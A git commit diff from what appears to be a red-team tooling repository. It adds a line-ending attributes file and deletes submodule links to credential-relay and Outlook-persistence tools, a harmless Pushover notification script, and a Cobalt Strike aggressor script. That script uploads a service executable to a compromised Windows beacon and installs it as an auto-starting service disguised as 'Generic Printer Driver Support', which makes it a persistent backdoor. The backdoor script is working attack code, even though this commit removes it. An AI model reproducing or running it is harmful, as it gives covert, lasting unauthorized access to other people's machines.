added attributes, reorg/submodule fix pt2

This commit is contained in:
Jonathan R. Echavarria
2016-04-18 18:21:18 -04:00
parent 1858879390
commit 79fcbfa675
6 changed files with 7 additions and 55 deletions
+7
View File
@@ -0,0 +1,7 @@
# Default behaviour
* text=auto
# Explicit file delcarations to make sure nothing breaks
* .sh text eol=lf
* .ps1 text eol=crlf
* .cna text eol=lf
-6
View File
@@ -1,6 +0,0 @@
[submodule "inveigh/inveigh"]
path = inveigh/inveigh
url = https://github.com/Kevin-Robertson/Inveigh.git
[submodule "OutlookPersistence"]
path = OutlookPersistence
url = https://github.com/Und3rf10w/OutlookPersistence.git
-16
View File
@@ -1,16 +0,0 @@
#!/bin/bash
if [[ $# -gt 0 ]]; then
title=$1
shift
a=$@
else
read a;
fi
pushover () {
curl -s -F "token=$1" -F "user=$2" -F "title=$3" -F "message=$a" https://api.pushover.net/1/messages.json
}
# sample pushover user config
# add a line for each user you wish to receive a message
# pushover <app_token> <user_token> "$title" "$a" #sample_username1
Submodule inveigh/inveigh deleted from 16739f6e71
-31
View File
@@ -1,31 +0,0 @@
# Uploads a persistent backdoor on a window beacon as a service
# Go to Attacks -> Packages -> Windows Executeable (S)
# Export a Windows Service EXE file
# Save the exe, something like "GenericPrinterServices.exe" works
# Inspired by: http://blog.cobaltstrike.com/2016/02/23/cobalt-strike-tips-for-2016-ccdc-red-teams/
# Load the script, then in the script console, execute with !uploadbackdoor $FULL_LOCAL_PATH_TO_SERVICE_EXE
# Und3rf10w
sub servicefilename {
$servicebackdoorfilename = matches($1, '[\/](\w+\.\w+)$');
$servicebackdoorfilename = $servicebackdoorfilename[0];
}
alias !uploadbackdoor {
println("\c4Uploading backdoor on beacon $1 using file $2 ");
blog($1, "Attempting to publish backdoor service");
bcd($1, "C:\\Windows\\");
println("\c4Changed directory on beacon $1 to C:\\Windows\\");
bupload($1, script_resource("$2"));
servicefilename($2);
bshell($1, "sc create GenericPrinterDriver binPath= \"C:\\Windows\\ $+ $servicebackdoorfilename $+ \" start= auto DisplayName= \"Generic Printer Driver Support\"");
bshell($1, "sc start GenericPrinterDriver");
blog($1, "Backdoor service created using $servicebackdoorfilename ");
println("\c9[+] Backdoor creation complete!");
}
beacon_command_register {
"!uploadbackdoor",
"Uploads and creates a persistent backdoor to the beacon",
"Synopsis: !uploadbackdoor [path to local service exe on your system]"
}